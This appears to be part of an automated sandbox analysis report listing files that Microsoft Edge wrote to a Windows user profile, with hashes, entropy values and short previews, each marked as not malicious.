Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	0.21848828281205318
Encrypted:	false
SSDEEP:	3:QK/l5lntFlljq7A/mhWJFuQ3yy7IOWUA1Aol/dweytllrE9SFcTp4AGbNCV9RUIW:Qal5G75fOm1A4/d0Xi99pEYVK
MD5:	E56C17E0BC1D90CC887E777AC2C55AA7
SHA1:	B8C4856AD616D5518E9F539BD8475083F5DDB345
SHA-256:	9909F06B1807C60AAE5CDC461A36CED4D83B2D1BCBAE2D176159F8E8DC84B014
SHA-512:	05BE014A3F06CDEA1C74E86466D33DD2D4D1C33F38F16EB0BD9AF907EAB9D2F6C977E3AC373D0402FA6A61E9CD243D0BA4DAF01F44FEE3F8C3C9706C78C3D5B1
Malicious:	false
Preview:	...............%...&....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\HubApps (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (1597), with CRLF line terminators
Category:	dropped
Size (bytes):	115717
Entropy (8bit):	5.183660917461099
Encrypted:	false
SSDEEP:	1536:utDURN77GZqW3v6PD/469IxVBmB22q7LRks3swn0:utAaE2Jt0
MD5:	3D8183370B5E2A9D11D43EBEF474B305
SHA1:	155AB0A46E019E834FA556F3D818399BFF02162B
SHA-256:	6A30BADAD93601FC8987B8239D8907BCBE65E8F1993E4D045D91A77338A2A5B4
SHA-512:	B7AD04F10CD5DE147BDBBE2D642B18E9ECB2D39851BE1286FDC65FF83985EA30278C95263C98999B6D94683AE1DB86436877C30A40992ACA1743097A2526FE81
Malicious:	false
Preview:	{.. "current_locale": "en-GB",.. "hub_apps": [ {.. "auto_show": {.. "enabled": true,.. "fre_notification": {.. "enabled": true,.. "header": "Was opening this pane helpful to you?",.. "show_count": 2,.. "text": "Was opening this pane helpful to you?".. },.. "settings_description": "We'll automatically open Bing Chat in the sidebar to show you relevant web experiences alongside your web content",.. "settings_title": "Automatically open Bing Chat in the sidebar",.. "triggering_configs\|flight:msHubAppsMsnArticleAutoShowTriggering": [ {.. "show_count_basis": "signal",.. "signal_name": "IsMsnArticleAutoOpenFromP1P2",.. "signal_threshold": 0.5.. } ],.. "triggering_configs\|flight:msUndersidePersistentChat": [ {.. "signal_name": "IsUndersidePersistentChatLink",.. "signal_threshold": 0.5.. } ],.. "triggering_co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\HubApps Icons

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 12, cookie 0x3, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	3.6481101165292493
Encrypted:	false
SSDEEP:	384:aj9P0tbQkQerkjl5cbP/KbtZ773pL9hCgam6ItRKToaAu:adKe2ml+bP/o7Pv9RKcC
MD5:	FA8EC40ED9F61724A8AAE14F146E8ABC
SHA1:	92BF481BB99EAC8D312AD5998C0B5ADB98B1F827
SHA-256:	2B1B3E6FFBB45D7CC182AFAA2B1DB5E4F7CDF495EC7BAA258C9B2D34B1947497
SHA-512:	8980A828715627BEAECE18A272172C895DC7167A289F73B9664D855AF6A0F8EB3E8225C10F7A6AD5C5D5C5299F12806232C76CD4AC443142C803CEF6517154F8
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...:.8....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	412
Entropy (8bit):	5.27748000157852
Encrypted:	false
SSDEEP:	12:nmlVvVaYeb8rcHEZrELFUt8kHg/+kHI5OaYeb8rcHEZrEZSJ:nml5VaYeb8nZrExg8kHaHSOaYeb8nZrt
MD5:	258C098CB9F560A041DA0200321ED1DA
SHA1:	443D47C7C873FFFC64FB869F825C5B15C5C9A366
SHA-256:	E0D61A74A4D8CC924936399EC85AB19A99D4A54758BD3F69A0A3DF3A2864C3CF
SHA-512:	08C043D5B5DEB53A7FC820A6B76C93874538D1756EF9883DB3CDBA7457C5D7B7E19D9B72F490D89D68CD3EC51111091466CB63C395F3215CC207AADD5E8C6E61
Malicious:	false
Preview:	2024/11/20-12:57:38.812 1f74 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/MANIFEST-000001.2024/11/20-12:57:38.813 1f74 Recovering log #3.2024/11/20-12:57:38.813 1f74 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	412
Entropy (8bit):	5.27748000157852
Encrypted:	false
SSDEEP:	12:nmlVvVaYeb8rcHEZrELFUt8kHg/+kHI5OaYeb8rcHEZrEZSJ:nml5VaYeb8nZrExg8kHaHSOaYeb8nZrt
MD5:	258C098CB9F560A041DA0200321ED1DA
SHA1:	443D47C7C873FFFC64FB869F825C5B15C5C9A366
SHA-256:	E0D61A74A4D8CC924936399EC85AB19A99D4A54758BD3F69A0A3DF3A2864C3CF
SHA-512:	08C043D5B5DEB53A7FC820A6B76C93874538D1756EF9883DB3CDBA7457C5D7B7E19D9B72F490D89D68CD3EC51111091466CB63C395F3215CC207AADD5E8C6E61
Malicious:	false
Preview:	2024/11/20-12:57:38.812 1f74 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/MANIFEST-000001.2024/11/20-12:57:38.813 1f74 Recovering log #3.2024/11/20-12:57:38.813 1f74 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1471
Entropy (8bit):	5.664586217743007
Encrypted:	false
SSDEEP:	24:qZWzLUlHt0olEx64pTihXZG6oWRV03y1x4UdMy5WlkTN5zgFHHmi28/V:qZGLe0uExVpCXZG63RV03Sx4UWy59+HH
MD5:	8437AEF4FAB10F12B4B96CD275359F05
SHA1:	F7CD4BE5A859D337428CF55BE3EEA55C1B41AE74
SHA-256:	C118CAED37A484234B84FB353D94AF36DDE349E5367CB575788B8F3500125391
SHA-512:	5BE0DC4B94723C8706D122FDE826705C6DFF71441DE83EE096763AF14D780B718023CAD649C6E6354195EC932BB97A72F3FA2158AFAA5B16061D41C9D9268654
Malicious:	false
Preview:	...x................VERSION.1..META:https://ntp.msn.com............._https://ntp.msn.com..FallbackNavigationResult?.{"r":"edgenext-base-v1-empty. NetworkCall","ic":true,"te":879}.!_https://ntp.msn.com..LastKnownPV..1732125470900.-_https://ntp.msn.com..LastVisuallyReadyMarker..1732125471981.._https://ntp.msn.com..MUID!.28E93D09C21660CD09BC2834C3746145.._https://ntp.msn.com..bkgdV...{"cachedVideoId":-1,"lastUpdatedTime":1732125470975,"schedule":[10,-1,4,-1,-1,-1,9],"scheduleFixed":[10,-1,4,-1,-1,-1,9],"simpleSchedule":[21,42,11,36,15,17,24]}.%_https://ntp.msn.com..clean_meta_flag..1.5_https://ntp.msn.com..enableUndersideAutoOpenFromEdge..false.7_https://ntp.msn.com..nurturing_interaction_trace_ls_id..1732125470855.&_https://ntp.msn.com..oneSvcUniTunMode..header."_https://ntp.msn.com..pageVersions..{"dhp":"20241119.367"}.*_https://ntp.msn.com..pivotSelectionSource..sticky.#_https://ntp.msn.com..selectedPivot..myFeed.5_https://ntp.msn.com..ssrBasePageCachingFeatureActive..true.#_https:/

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	340
Entropy (8bit):	5.1196462925723205
Encrypted:	false
SSDEEP:	6:HHyM+q2PN723oH+Tcwt8a2jMGIFUt8YHqmZmw+YHRMVkwON723oH+Tcwt8a2jMmd:nf+vVaYeb8EFUt8kqm/+kqV5OaYeb8bJ
MD5:	CF0A2E76B1585BB2F10790F28E3D7CCF
SHA1:	B71BF25368CFF109A40D61F1E44B551E9DAB2ADF
SHA-256:	41B32CF81835FB36EDA8B5FFA5D640D8902304C17A8AC8EF80898097934DDCAB
SHA-512:	203350AA310A0DDD22B1D9E80D5A3B234E32922B3D02E9508C0E11B0FC8FE4F29F2A5F239CB97E19CDCB095BF9399924D0D0DA8B7051F11B4FECF628E87C531B
Malicious:	false
Preview:	2024/11/20-12:57:34.131 1cac Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/MANIFEST-000001.2024/11/20-12:57:34.133 1cac Recovering log #3.2024/11/20-12:57:34.136 1cac Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	340
Entropy (8bit):	5.1196462925723205
Encrypted:	false
SSDEEP:	6:HHyM+q2PN723oH+Tcwt8a2jMGIFUt8YHqmZmw+YHRMVkwON723oH+Tcwt8a2jMmd:nf+vVaYeb8EFUt8kqm/+kqV5OaYeb8bJ
MD5:	CF0A2E76B1585BB2F10790F28E3D7CCF
SHA1:	B71BF25368CFF109A40D61F1E44B551E9DAB2ADF
SHA-256:	41B32CF81835FB36EDA8B5FFA5D640D8902304C17A8AC8EF80898097934DDCAB
SHA-512:	203350AA310A0DDD22B1D9E80D5A3B234E32922B3D02E9508C0E11B0FC8FE4F29F2A5F239CB97E19CDCB095BF9399924D0D0DA8B7051F11B4FECF628E87C531B
Malicious:	false
Preview:	2024/11/20-12:57:34.131 1cac Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/MANIFEST-000001.2024/11/20-12:57:34.133 1cac Recovering log #3.2024/11/20-12:57:34.136 1cac Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\450f7fb7-d6bb-4150-a2b6-a474a5b3f332.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\4eb14ff2-3044-42b7-96f5-8fd4ea03ffcc.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1452
Entropy (8bit):	5.287213485277577
Encrypted:	false
SSDEEP:	24:YcCp/WRdstyZVMdmRdsHKyZFRudFGRwC5mWRdspZFGJ/I3w6C1E6maPsQYhbA7n7:YcCpWsktsHnfc7CvsfgCgakhYhbm
MD5:	093E3F0EA7D5CE1697260321E93C95EB
SHA1:	6D262FF62829A9F3990AFC80B9F457A1F345290C
SHA-256:	76CC4ABA0355B54B8694788A7DAD9C08FA1F6413DFCEE7A666D95A69C7A16A60
SHA-512:	2419B824319070C466335A90D9FAB94B9734245C1A58F4E3452BC7952D29FC346A04ECA62F549047EC26189C0386A07E7120466A7A78474CDF19280457804F4F
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["FAAAAA4AAABodHRwOi8vbXNuLmNvbQAA",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552282221456","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552282945526","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["FAAAAA8AAABodHRwczovL21zbi5jb20A",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552291816684","port":443,"protocol_str":"quic"}],"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server"

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\54026c71-88bc-482d-a534-52394a3e5ab5.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	1484
Entropy (8bit):	5.304491507153843
Encrypted:	false
SSDEEP:	24:YcCp/WwFGJ/I3RdsubZVMdmRdstZFRudFGRw6maPsw6C1VdsRZC52HlQYhbA7n7:YcCpfgCzsItsrfc7kBRsXCgH6Yhbm
MD5:	CF7F5E224EE48BE21085758F83534980
SHA1:	0210C0115186928E7A068432EDCF40CE65B541B2
SHA-256:	FF3545AE2591C32701DD041E4CF8373B06B6CE6C41598EC68554518009130219
SHA-512:	6EDF8FBEC579020A0D916007160412EB47449E9676382BFF842DB2AC0D9D6F05A7E983D5EFC1D170B34AC4EE8166775A185D8AA66D990FAB0B30493B5436D626
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["FAAAAA4AAABodHRwOi8vbXNuLmNvbQAA",false],"server":"https://assets.msn.com","supports_spdy":true},{"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server":"https://www.googleapis.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13379191058686021","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13379191061820381","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwczovL21pY3Jvc29mdC5jb20AAAA=",false],"server":"https://edge.microsoft.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwczovL2F6dXJlZWR

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\6d025a7f-c4fb-4a8b-9319-3b4f2fc8673e.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\9ecbd8d4-6a2e-4c2b-8f70-6e791e85aeb8.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 8, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	2.769322970299309
Encrypted:	false
SSDEEP:	192:tTVUFblqcSy02HGC0QsiLsgLSgXcf0L/ZJVb:VVoIcRZHGCtoeXI0LhJVb
MD5:	CBA4EB6FF64291373909C2948D3C8B17
SHA1:	A1747DEC9738FEDC37D6366197373B42FBA5899F
SHA-256:	D44BBDB5F533A2830B529E5E27E9C3ECC47A8B99C32AB280E3302856C60A136F
SHA-512:	686D10E20AAA2D033EA1E1F09B1FD9BDA02321D92B353C1B4120D0CAD2281F6149EB8AF7F9AF1834667C775E0994467D7853372C15A712E72F4EE4DB134356BB
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1452
Entropy (8bit):	5.287213485277577
Encrypted:	false
SSDEEP:	24:YcCp/WRdstyZVMdmRdsHKyZFRudFGRwC5mWRdspZFGJ/I3w6C1E6maPsQYhbA7n7:YcCpWsktsHnfc7CvsfgCgakhYhbm
MD5:	093E3F0EA7D5CE1697260321E93C95EB
SHA1:	6D262FF62829A9F3990AFC80B9F457A1F345290C
SHA-256:	76CC4ABA0355B54B8694788A7DAD9C08FA1F6413DFCEE7A666D95A69C7A16A60
SHA-512:	2419B824319070C466335A90D9FAB94B9734245C1A58F4E3452BC7952D29FC346A04ECA62F549047EC26189C0386A07E7120466A7A78474CDF19280457804F4F
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["FAAAAA4AAABodHRwOi8vbXNuLmNvbQAA",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552282221456","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552282945526","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["FAAAAA8AAABodHRwczovL21zbi5jb20A",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552291816684","port":443,"protocol_str":"quic"}],"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server"

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State~RF4cd7e.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1452
Entropy (8bit):	5.287213485277577
Encrypted:	false
SSDEEP:	24:YcCp/WRdstyZVMdmRdsHKyZFRudFGRwC5mWRdspZFGJ/I3w6C1E6maPsQYhbA7n7:YcCpWsktsHnfc7CvsfgCgakhYhbm
MD5:	093E3F0EA7D5CE1697260321E93C95EB
SHA1:	6D262FF62829A9F3990AFC80B9F457A1F345290C
SHA-256:	76CC4ABA0355B54B8694788A7DAD9C08FA1F6413DFCEE7A666D95A69C7A16A60
SHA-512:	2419B824319070C466335A90D9FAB94B9734245C1A58F4E3452BC7952D29FC346A04ECA62F549047EC26189C0386A07E7120466A7A78474CDF19280457804F4F
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["FAAAAA4AAABodHRwOi8vbXNuLmNvbQAA",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552282221456","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552282945526","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["FAAAAA8AAABodHRwczovL21zbi5jb20A",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552291816684","port":443,"protocol_str":"quic"}],"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server"

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Reporting and NEL

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 9, cookie 0x4, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	1.2784601754557507
Encrypted:	false
SSDEEP:	48:TFkIopKWurJNVr1GJmA8pv82pfurJNVrdHXuccaurJN2VrJ1n4n1GmzNGU1cSB5Z:JkIEumQv8m1ccnvS6u+iiM51a
MD5:	FDC04087CA428A7C1340A582D0AA57F0
SHA1:	BF175C8BB6B73D9CD944C11B59F8AF55CF0EA7A7
SHA-256:	49C84B893AA03ADF60FACB6FC64FDCC90E4D37F12324389FFEAB5259D29C1C43
SHA-512:	6376972316EEE0827A7B77D3B61829BF599E778158374686342945EAF4516209E5FE4D74224ED7C50E9A246E3B71E2A771C5E0203F676EBD0DCFE84423BCBDD2
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...D.........7............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF3bd56.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF3d301.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Sdch Dictionaries (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\c9dbd2fa-21fa-42a0-a000-5c3d53ab6dc2.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Nurturing\campaign_history

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8350301952073809
Encrypted:	false
SSDEEP:	24:TLSOUOq0afDdWec9sJlAMoqsgC7zn2z8ZI7J5fc:T+OUzDbg3sAM/sgCnn2ztc
MD5:	0DAD8D7F079797377CD56DAE47E1A619
SHA1:	A353C01C5B9BA9E0315ABA74D3337B7D6EE97CB2
SHA-256:	7BDA584E0C1BE9E104065370FD279A7E771D7EB4F7E4CC7C80F146931F150E33
SHA-512:	5A57C0D303672564DDEAA08B5DAAEE1BA24B67C46100720CE69F0908427ACE55F330D96A772D0E1F96B595FBBD70E6145AA464FC4F312EFE095F9AC909E304E8
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9861
Entropy (8bit):	5.114293688806714
Encrypted:	false
SSDEEP:	192:stykdp9sBXaFvrE9kvKu8PbV+F/VQAZTU2PcYJ:styQ9sBXCDAbGtQj6
MD5:	501FFB38E73E0163288AC18437C701BA
SHA1:	9401B2FB0F426F149997FFE1E1E46A316B0AE710
SHA-256:	F8915A6302534294B0DE0A0DEA7BEA87ED0E9CA5C151BF8EC73E67A6808635C6
SHA-512:	160A5347162F07481E956EAA6C5C6256696F3790FF3A2B5615D0E564BED43DED1C3A03F697006F79355145C2475354B8CDFBF411F20ECD62247600C283A4DE18
Malicious:	false
